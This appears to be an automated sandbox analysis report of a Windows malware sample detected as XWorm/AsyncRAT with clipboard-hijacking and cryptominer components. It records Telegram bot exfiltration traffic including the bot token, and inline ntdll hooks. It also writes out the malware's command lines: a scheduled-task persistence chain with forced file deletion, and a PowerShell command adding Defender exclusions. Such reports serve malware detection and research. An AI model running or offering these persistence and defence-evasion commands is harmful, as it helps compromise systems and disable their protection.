2024-03-28 09:25:30 UTC	436	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 37 35 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 33 33 30 38 38 38 31 33 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 69 70 62 6f 74 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 51 6c 69 70 31 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 30 34 36 30 34 39 38 34 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 69 6c 6c 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 79 72 69 63 73 6f 6e 67 39 38 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 31 31 36 31 37 39 33 30 2c 22 74 65 78 74 22 3a 22 5c 75 32 36 32 30 20 5b 58 57 6f 72 6d 20 56 35 2e Data Ascii: {"ok":true,"result":{"message_id":7584,"from":{"id":6330888131,"is_bot":true,"first_name":"Clipbot1","username":"Qlip1bot"},"chat":{"id":1046049845,"first_name":"Billy","username":"Lyricsong98","type":"private"},"date":1711617930,"text":"\u2620 [XWorm V5.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49732	149.154.167.220	443	1340	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 09:28:22 UTC	220	OUT	GET /bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage?chat_id=6585536474&text=User%205814831126857437469%20ran%20the%20malware HTTP/1.1 User-Agent: MyApp Host: api.telegram.org Cache-Control: no-cache
2024-03-28 09:28:24 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Thu, 28 Mar 2024 09:28:24 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-03-28 09:28:24 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	10:25:26
Start date:	28/03/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe"
Imagebase:	0x16e98f60000
File size:	466'528 bytes
MD5 hash:	C8D9593196962FA5D706A207C16674CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1666528793.0000016E9B268000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1666528793.0000016E9AD6A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:25:27
Start date:	28/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:25:28
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Imagebase:	0xcb0000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.3905812861.000000000307B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	10:25:28
Start date:	28/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:25:28
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 384 -p 432 -ip 432
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:25:28
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 432 -s 1216
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:25:29
Start date:	28/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	10:25:40
Start date:	28/03/2024
Path:	C:\Users\user\AppData\Local\Temp\spczxf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\spczxf.exe"
Imagebase:	0x1a4b0800000
File size:	774'166 bytes
MD5 hash:	D76027FE4CFD48C7F8999C796E50E731
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000008.00000002.1738420103.000001A4C3F01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.1736044836.000001A4B2722000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 41%, ReversingLabs Detection: 48%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:25:51
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Imagebase:	0x7ff66f7d0000
File size:	45'448 bytes
MD5 hash:	10072393B2116AF4483194F101923CA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	10:25:51
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	10:25:51
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 544 -p 2908 -ip 2908
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:25:52
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2908 -s 3156
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:26:01
Start date:	28/03/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe"
Imagebase:	0x7ff7fe540000
File size:	45'448 bytes
MD5 hash:	10072393B2116AF4483194F101923CA4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	10:26:01
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	10:26:39
Start date:	28/03/2024
Path:	C:\Users\user\AppData\Local\Temp\ohvrxt.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\ohvrxt.exe"
Imagebase:	0x1b042450000
File size:	17'267'312 bytes
MD5 hash:	D01B812C108576056594805B6E9E7064
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000014.00000002.2223610242.000001B044693000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 62%, ReversingLabs Detection: 50%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:26:39
Start date:	28/03/2024
Path:	C:\Users\user\AppData\Local\Temp\hgzxhw.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\hgzxhw.exe"
Imagebase:	0x292620c0000
File size:	402'454 bytes
MD5 hash:	3F3A51617811E9581ABA50376599EFA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000015.00000002.2341667196.00000292640E2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 35%, ReversingLabs Detection: 49%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:26:42
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Imagebase:	0x7ff66f7d0000
File size:	45'448 bytes
MD5 hash:	10072393B2116AF4483194F101923CA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	10:26:42
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Imagebase:	0x7ff66f7d0000
File size:	45'448 bytes
MD5 hash:	10072393B2116AF4483194F101923CA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	10:26:42
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 496 -p 1384 -ip 1384
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:26:42
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1384 -s 1200
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:26:48
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Imagebase:
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	10:26:49
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Imagebase:	0x7b0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000002.2296563820.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:26:49
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Imagebase:
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	10:26:49
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 544 -p 3660 -ip 3660
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:26:50
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 3660 -s 3136
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:26:50
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:26:50
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:26:50
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x5d0000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:26:50
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1
Imagebase:	0xc0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:26:52
Start date:	28/03/2024
Path:	C:\Users\user\AppData\Local\Temp\utntwb.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\utntwb.exe"
Imagebase:	0x1bc8e4e0000
File size:	3'288'598 bytes
MD5 hash:	86E00D529B3B454A84B942AC916211E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 46%, ReversingLabs Detection: 32%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:26:54
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f
Imagebase:	0x3b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:26:54
Start date:	28/03/2024
Path:	C:\Users\user\AppData\Local\ServiceHub\msbuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\ServiceHub\msbuild.exe"
Imagebase:	0x60000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:26:55
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:26:55
Start date:	28/03/2024
Path:	C:\Users\user\AppData\Local\ServiceHub\msbuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\ServiceHub\msbuild.exe
Imagebase:	0x3a0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:27:01
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:27:01
Start date:	28/03/2024
Path:	C:\Program Files\Windows Media Player\wmplayer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\wmplayer.exe"
Imagebase:	0x7ff7e3ed0000
File size:	171'008 bytes
MD5 hash:	89DCD2D4C0EC638AADC00D3530E07E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:27:01
Start date:	28/03/2024
Path:	C:\Program Files\Windows Media Player\wmplayer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\wmplayer.exe"
Imagebase:	0x7ff7e3ed0000
File size:	171'008 bytes
MD5 hash:	89DCD2D4C0EC638AADC00D3530E07E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	10:27:01
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 476 -p 5788 -ip 5788
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:27:01
Start date:	28/03/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:27:01
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:27:01
Start date:	28/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 5788 -s 3120
Imagebase:	0x7ff7526e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	10:27:06
Start date:	28/03/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7fb730000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:27:07
Start date:	28/03/2024
